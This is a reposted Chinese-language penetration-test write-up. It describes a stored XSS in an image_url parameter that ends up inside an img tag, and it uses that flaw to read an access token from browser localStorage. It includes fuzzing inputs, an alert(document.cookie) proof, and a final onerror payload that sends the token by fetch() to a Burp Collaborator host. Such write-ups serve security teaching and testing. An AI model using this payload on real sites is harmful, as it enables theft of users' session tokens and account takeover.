XSS漏洞——从本地存储中获取数据

admin 2025年2月24日12:58:57评论14 views字数 1706阅读5分41秒阅读模式

扫码领资料

获黑客教程

免费&进群

XSS漏洞——从本地存储中获取数据
XSS漏洞——从本地存储中获取数据
随着WAF产品

前言

一般情况下利用XSS漏洞都是为了尽可能的获取管理员的COOKIE信息,但有的时候后台凭证数据不一定只存在于COOKIE中,存在客户端本地的例子也是有的。

如下图,这是某次授权的测试中发现的,直接把用户名密码的明文信息存储在了本地

XSS漏洞——从本地存储中获取数据

触发XSS漏洞

这是一个文件上传的功能,上传文件的时候会把文件上传到云存储上,然后会回传一个url链接给服务器,服务器通过参数image_url来接收url链接,然后拼接到img标签中

XSS漏洞——从本地存储中获取数据

返回的img标签和"s1600"字符串相连接

XSS漏洞——从本地存储中获取数据

我们的目标也很简单,就是要触发存储XSS漏洞,毕竟这是一切的基础。给image_url参数传了一个非URL值,没问题进行了拼接。仔细观察拼接到img标签中的数据,不仅字符串被拼接到了img标签中,而且还多出了空格。

XSS漏洞——从本地存储中获取数据

接下来对image_url参数进行fuzz


(1) image_url="xxx test",HTML中的返回为

<img src="xxx "="tests1600">;

(2) image_url="xxx onerror=test",HTML中的返回为

<img src="xxx "onerror="tests1600">;

(3) image_url="xxx onerror=alert(document.cookie);",HTML中的返回为

<img src="xxx "onerror="alert(document.cookie);s1600">

觉这次有戏了,验证一下,弹窗了,离成功又进了一步

XSS漏洞——从本地存储中获取数据

读取本地存储信息

本地存储是一种Web存储API,浏览器使用它来存储键/值对。它为每个域(来源)维护一个单独的存储区域。

即使关闭浏览器,数据仍保留在本地存储中。可以通过Window.localStorage对象访问

XSS漏洞——从本地存储中获取数据

通过burpsuite抓包分析,该应用程序还在基于cookie的身份验证之上使用Bearer Token。该应用程序将Token的原始值以JSON格式存储在本地存储中。

接下来我们看下如何通过XSS漏洞获取到本地存储中的Token值
我们可以通过javascript读取本地存储,要检索密钥,可以使用getItem()

XSS漏洞——从本地存储中获取数据

localStorage.getItem('Key'),读取信息

XSS漏洞——从本地存储中获取数据

可以使用JSON.parse解析JSON值,json.parse(localStorage.getItem('Key')).KEYNAME

XSS漏洞——从本地存储中获取数据

接下来构造payload
(1)首先从本地存储中检索access_token

token=JSON.parse(localStorage.getItem('KEYNAME')).access_token

(2) 将Token通过burpsuite进行带外

url=https://g0h5el9lym4iht5u2co4ovymud03os.burpcollaborator. net/'token

(3) 最终payload如下:

"xxx
onerror=token=JSON.parse(localStorage.getItem('KEYNAME')).access_token,url=https://g0h5el9lym4iht5u2co4ovymud03os.burpcollaborator.net/'+token,fetch(url);"

在HTML中返回为

<img src="xxx" 
onerror="token=JSON.parse(localStorage.getItem('KEYNAME')).access_token,url='https://g0h5el9lym4iht5u2co4ovymud03os.burpcollaborator.net/'+token,fetch(url);s1600">

在BurpSuite中可以看到通过带外获取到的Token值

XSS漏洞——从本地存储中获取数据

作者:爱吃猫的闲鱼

原文地址:https://xz.aliyun.com/t/10153

声明:本公众号所分享内容仅用于网安爱好者之间的技术讨论,禁止用于违法途径,

原文始发于微信公众号(白帽子左一):XSS漏洞——从本地存储中获取数据

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月24日12:58:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XSS漏洞——从本地存储中获取数据https://cn-sec.com/archives/956324.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息